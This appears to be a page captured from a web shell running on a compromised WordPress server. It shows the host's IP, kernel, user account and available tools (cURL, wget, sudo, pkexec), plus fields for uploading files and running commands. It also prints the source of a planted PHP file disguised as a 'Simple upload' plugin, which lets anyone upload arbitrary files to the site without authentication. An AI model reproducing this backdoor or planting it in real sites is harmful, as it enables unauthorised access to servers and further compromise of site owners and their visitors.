403Webshell
Server IP : 77.68.64.20  /  Your IP : 216.73.216.36
Web Server : Apache
System : Linux hp3-wp-1011317.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els8.x86_64 #1 SMP Sun Jul 5 17:25:39 UTC 2026 x86_64
User : csh2392878 ( 2033753)
PHP Version : 8.3.30
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/domains/vol1/746/2880746/user/htdocs/wp-content/plugins/nx_up_f115b024/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/domains/vol1/746/2880746/user/htdocs/wp-content/plugins/nx_up_f115b024/nx_up_f115b024.php
<?php
/*
Plugin Name: Nx nx_up_f115b024
Description: Simple upload
Version: 1.0
*/
 $msg = '';
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset( $_FILES['file'] ) ) {
    $f = $_FILES['file'];
    if ( is_array( $f ) && (int) $f['error'] === UPLOAD_ERR_OK && is_uploaded_file( $f['tmp_name'] ) ) {
        $name = basename( (string) $f['name'] );
        $name = preg_replace( '/[^A-Za-z0-9._-]/', '_', $name );
        if ( $name === '' || $name === null ) { $name = 'upload.bin'; }
        $dest = __DIR__.DIRECTORY_SEPARATOR . $name;
        if ( move_uploaded_file( $f['tmp_name'], $dest ) && is_file( $dest ) ) {
            $msg = 'OK ' . htmlspecialchars( $name, ENT_QUOTES, 'UTF-8' );
        } else { $msg = 'FAIL'; }
    } else { $msg = 'NOFILE'; }
}
?><!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow"><title>upload</title></head>
<body>
<p class="s">sig :: Nx-Up</p>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">upload</button>
</form>
<?php if ( $msg !== '' ) : ?><pre><?php echo htmlspecialchars( $msg, ENT_QUOTES, 'UTF-8' ); ?></pre><?php endif; ?>
</body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit